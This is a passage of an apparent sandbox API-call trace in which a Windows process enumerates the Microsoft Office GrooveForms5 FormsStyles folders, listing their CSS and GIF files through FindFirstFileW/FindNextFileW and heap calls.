ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana.css", cAlternateFileName="AMERIC~1.CSS")) returned 1 [0198.305] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue", cAlternateFileName="")) returned 1 [0198.305] GetProcessHeap () returned 0x550000 [0198.305] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0198.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0198.306] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.306] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0198.306] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0198.306] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0198.306] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0198.306] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0198.306] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0198.306] GetProcessHeap () returned 0x550000 [0198.306] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0198.306] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue.css", cAlternateFileName="")) returned 1 [0198.306] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x71f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Beige.css", cAlternateFileName="")) returned 1 [0198.306] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay", cAlternateFileName="")) returned 1 [0198.307] GetProcessHeap () returned 0x550000 [0198.307] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0198.307] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0198.307] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.307] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0198.307] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0198.307] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0198.307] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0198.307] GetProcessHeap () returned 0x550000 [0198.307] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0198.307] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay.css", cAlternateFileName="")) returned 1 [0198.308] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange", cAlternateFileName="BRIGHT~1")) returned 1 [0198.308] GetProcessHeap () returned 0x550000 [0198.308] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0198.308] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0198.308] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.308] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0198.308] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0198.308] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0198.308] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0198.308] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0198.309] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0198.309] GetProcessHeap () returned 0x550000 [0198.309] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0198.309] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange.css", cAlternateFileName="BRIGHT~1.CSS")) returned 1 [0198.309] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow", cAlternateFileName="BRIGHT~2")) returned 1 [0198.309] GetProcessHeap () returned 0x550000 [0198.309] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0198.309] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0198.309] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.309] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0198.309] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0198.309] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0198.310] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0198.310] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0198.310] GetProcessHeap () returned 0x550000 [0198.310] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0198.310] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd03, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow.css", cAlternateFileName="BRIGHT~2.CSS")) returned 1 [0198.310] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x0, dwReserved1=0x0, cFileName="Casual.css", cAlternateFileName="")) returned 1 [0198.310] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert", cAlternateFileName="")) returned 1 [0198.310] GetProcessHeap () returned 0x550000 [0198.310] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0198.310] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0198.310] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.310] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0198.310] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0198.311] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0198.311] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0198.311] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0198.311] GetProcessHeap () returned 0x550000 [0198.311] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0198.311] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.css", cAlternateFileName="")) returned 1 [0198.311] 